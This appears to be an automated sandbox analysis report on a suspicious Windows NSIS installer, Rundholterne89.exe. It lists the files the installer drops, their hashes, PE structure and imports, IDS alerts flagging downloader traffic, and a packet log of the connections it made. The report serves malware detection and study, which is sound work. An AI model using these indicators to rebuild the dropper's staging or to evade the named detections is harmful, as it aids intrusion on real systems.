SHA-512:	0468FCA29C3F916CBC0B3B132EA24BB582ED0F0D4921523F5DF6EE17F76709437D25324E08AF3C43FCAE8BD1B9F388E49B64ED3C8464062E7D099B0D6B9BC5DE
Malicious:	false
Preview:	....u...........................................................#.k4..`.......K....................7F#.....-....................Z.........v.................#.............p...<.....5.j...........p....j....... 4.....h................q.2.......C..................................,.............\........#..................e..........b.........................o..8.e........'.Q......<..........e.x...8......=.......}.....QU......E.....O............................6....^.y.....~........i..........................Q..`.>...........m..........,................6/..._..f....\.........`.y.............................6...............2[........................)..........................<....7......6..................8.....................................b...........................3.....U.......N.........k8.x.........................)~..............o.....+.............6............Y.>....................e.J....S...t..........K........................P\.............r...................... ............

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\unnamed.jpg

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 512x512, components 3
Category:	dropped
Size (bytes):	15845
Entropy (8bit):	7.693658939604953
Encrypted:	false
SSDEEP:	384:dnSPb8riksvdEh0qrjVqIPrLgrpNQMUBWud20p:dnUwriksvMjrZqo3Up9U8ud20p
MD5:	762778DFE1B62D3430B44A32AEDC03E0
SHA1:	7317D9579F9F4C4BEF82BE64FB3DFFB63160EEC5
SHA-256:	9A602EBAFC1F46AAD7248F6DA82938CE382DE9FFBC6C472BD4848D4519CA67A8
SHA-512:	B39A8F6DC07F3A4CFE3CF5E1563543ECE2864FECED28282356FA64D7D0B50FA43B70F57FC8A2C4424A553E14E6BE526293D90F56C63994EC79F5520488EE0CCF
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..IE..'...Ph.....(....(...)(...(....(...J`.QI@.(....(.....(....(....)(...).f..(.......Q@.%.P.IE..RQE...Q@..).RQE...Q@.%.P.IE...%.P.IE..RQE.mQE..bQE..QE%..QE......QE%..QE.......QI@..Q@.%.P.IE..RQE..QI@..RP.E.....RS.i(...%.P.IE%.-%.P.IE..RQE...Q@..).RQE...Q@.%.P0....J(...-%.P.IE...IE..aE...QE..QE%..QE.%.Q@...S...J..QI@.IE..RQE...Q@..RP.E...QE%0.(...%...-%...QE..RQE...Q@.%.P0

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Sekundrlitteraturers.Non

Download File

Process:	C:\Users\user\Desktop\Rundholterne89.exe
File Type:	data
Category:	dropped
Size (bytes):	340868
Entropy (8bit):	7.658610751329724
Encrypted:	false
SSDEEP:	6144:HP+VoRJRmCwM6PiJ5JsAPmxI26uHwKZUu36NbST5CFgX29:UoR/m9PiJ5Js5xhFwKZMNy0gG9
MD5:	D3086578D45D821207EAC6CBB8E24A2B
SHA1:	0772CBCE5403EDAE1AAB6310B2F58D7F99C726C0
SHA-256:	E856FC4F6B157E7799C1AF872064CD1BE9F982B1A5D18D7B16E5C3A48E3A1B1A
SHA-512:	7DB853BECC19B209C0534C8F09635C55DAB9BC540BD138054C2E84BBFC396BFA587BD4549A7188824F95271C04894BB7C66795F75267BCA16620BC27ED38807D
Malicious:	false
Preview:	.BB......................^^.........................................ZZZZ...lll.....u......CCC......777777.....................................\|.....................PPPPP........A....w..$$...00.c.>........................{{{{.````..........S.8..kk...q..........................H......V..p.................A..........................~......?...[[[............E............................ooooo...........%%.........p....8.................VV....I....k..............UUUU......"..&....v..........hh.....b.............q.....................=.....gg..............._.<<..QQQ.............Y.................p...............22...............XX...................................aa...........V.............)... .........c."...........a...^^^........ww...pp.............JJJ....................mm....{.>>.xx.......~~~.............WW........................................E.^.....c....:...L....1.......................+.............///...a....................<.F......M.22........l...............2.__..............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.7193229791674485
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Rundholterne89.exe
File size:	891'148 bytes
MD5:	a1e239c4d5116e289ce0597a92844ede
SHA1:	4562d452ccc32512291c3165a0b9b3c076b28094
SHA256:	1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904
SHA512:	500ddcdc2f1e3ca0da0a43006b99c6e78697433fc0757d25ddff94190dd2d725799faf267efdfacdef758e9024591368454f14025662cc6a1309bce7863494d2
SSDEEP:	24576:/75JHVcDo1hTW+VeQ9Ke+alCJmvulW6Nd0vd:jDHVUW/VrKe+m7mwMAd
TLSH:	8C152286F764DDB7E831527010BEA932E1716C728161920737A97F7A883373E0D4B6CA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....{.W.................`...\|.....

File Icon


Icon Hash:	4ccc524656d64e01

Static PE Info

General

Entrypoint:	0x40310f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x57807BD9 [Sat Jul 9 04:21:45 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F880CDD9FD3h
push ebx
call 00007F880CDDCF41h
cmp eax, ebx
je 00007F880CDD9FC9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F880CDDCEBDh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F880CDD9FADh
push ebp
push 00000009h
call 00007F880CDDCF14h
push 00000007h
call 00007F880CDDCF0Dh
mov dword ptr [0042E404h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [0042E4B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 00428828h
call dword ptr [00407174h]
push 00409188h
push 0042DC00h
call 00007F880CDDCB37h
call dword ptr [0040709Ch]
mov ebp, 00434000h
push eax
push ebp
call 00007F880CDDCB25h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7534	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x42000	0x1aa58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5fdd	0x6000	38462d04cfdbc4943d18be461d53cc3e	False	0.6783854166666666	data	6.499697507009752	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1352	0x1400	3d134ae5961af9895950a7ee0adc520a	False	0.4583984375	data	5.207538993430304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x254f8	0x600	2d00401e0c64d69b6d0ccb877d9f624e	False	0.4544270833333333	data	4.0323505938358934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2f000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x42000	0x1aa58	0x1ac00	098718c0c5bf54afe6e125c2f1ac35ba	False	0.23448452102803738	data	3.706045365348602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x42460	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x427c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0	English	United States	0.09021944871643203
RT_ICON	0x52ff0	0x32f2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9443336911516639
RT_ICON	0x562e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States	0.16089211618257263
RT_ICON	0x58890	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	United States	0.18738273921200752
RT_ICON	0x59938	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	United States	0.31050106609808104
RT_ICON	0x5a7e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	United States	0.440884476534296
RT_ICON	0x5b088	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	United States	0.5635838150289018
RT_ICON	0x5b5f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	United States	0.2703900709219858
RT_ICON	0x5ba58	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	United States	0.21908602150537634
RT_ICON	0x5bd40	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	United States	0.3716216216216216
RT_DIALOG	0x5be68	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5bfb0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5c0f0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5c1f0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5c310	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5c3d8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5c438	0x92	data	English	United States	0.6575342465753424
RT_VERSION	0x5c4d0	0x248	data	English	United States	0.5308219178082192
RT_MANIFEST	0x5c718	0x340	XML 1.0 document, ASCII text, with very long lines (832), with no line terminators	English	United States	0.5540865384615384

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-22T16:04:14.198153+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.10	49709	142.250.185.174	443	TCP
2024-10-22T16:04:19.358399+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49711	193.122.130.0	80	TCP
2024-10-22T16:04:20.811576+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49711	193.122.130.0	80	TCP
2024-10-22T16:04:21.520222+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49713	188.114.97.3	443	TCP
2024-10-22T16:04:22.249021+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49714	193.122.130.0	80	TCP
2024-10-22T16:04:22.954475+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49715	188.114.97.3	443	TCP
2024-10-22T16:04:26.027860+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49719	188.114.97.3	443	TCP
2024-10-22T16:04:28.905367+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49723	188.114.97.3	443	TCP
2024-10-22T16:04:31.792925+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.10	49727	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 16:04:12.902620077 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:12.902672052 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:12.902757883 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:12.913573980 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:12.913589001 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:13.773917913 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:13.773994923 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:13.775017977 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:13.775080919 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:13.827322006 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:13.827351093 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:13.827816963 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:13.827873945 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:13.829560995 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:13.871364117 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:14.198174953 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:14.198261023 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:14.198398113 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:14.198436022 CEST	443	49709	142.250.185.174	192.168.2.10
Oct 22, 2024 16:04:14.198479891 CEST	49709	443	192.168.2.10	142.250.185.174
Oct 22, 2024 16:04:14.232996941 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:14.233042955 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:14.233189106 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:14.233568907 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:14.233589888 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:15.098956108 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:15.099041939 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:15.103468895 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:15.103483915 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:15.103863001 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:15.103916883 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:15.104291916 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:15.151323080 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.693398952 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.693504095 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.702198982 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.702264071 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.811713934 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.811849117 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.811996937 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.812033892 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.812089920 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.812112093 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.812195063 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.812201023 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.812287092 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.816566944 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.816629887 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.816637993 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.816679001 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.825105906 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.825174093 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.825182915 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.825227976 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.833801985 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.833874941 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.833884001 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.833924055 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.842605114 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.842669964 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.842695951 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.842750072 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.842784882 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.842833996 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.851305962 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.851397991 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.851422071 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.851469040 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.860047102 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.860150099 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.860192060 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.860239029 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.869028091 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.869095087 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.869116068 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.869155884 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.930668116 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.930811882 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.930841923 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.930895090 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.930902004 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.930941105 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.930948019 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.930983067 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.931032896 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.931087971 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.931355953 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.931410074 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.931442976 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.931493044 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.931550026 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.931595087 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.931969881 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.932019949 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.932080984 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.932135105 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.932164907 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.932213068 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.932243109 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.932290077 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.935385942 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.935446978 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.935471058 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.935522079 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.935549021 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.935594082 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.935642004 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.935686111 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.943921089 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.944046021 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.944072008 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.944103003 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.944143057 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.944171906 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.946616888 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.946687937 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.946743965 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.946796894 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.952557087 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.952656984 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.952670097 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.952712059 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.957722902 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.957787037 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.957794905 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.957839012 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.963423014 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.963540077 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.963550091 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.963727951 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.969023943 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.969119072 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.969135046 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.969177008 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.974693060 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.974790096 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.974813938 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.974867105 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.980320930 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.980391026 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.980422020 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.980463982 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.985754967 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.985832930 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.985908031 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.985961914 CEST	49710	443	192.168.2.10	142.250.186.65
Oct 22, 2024 16:04:17.991570950 CEST	443	49710	142.250.186.65	192.168.2.10
Oct 22, 2024 16:04:17.991660118 CEST	49710	443	192.168.2.10	142.250.186.65
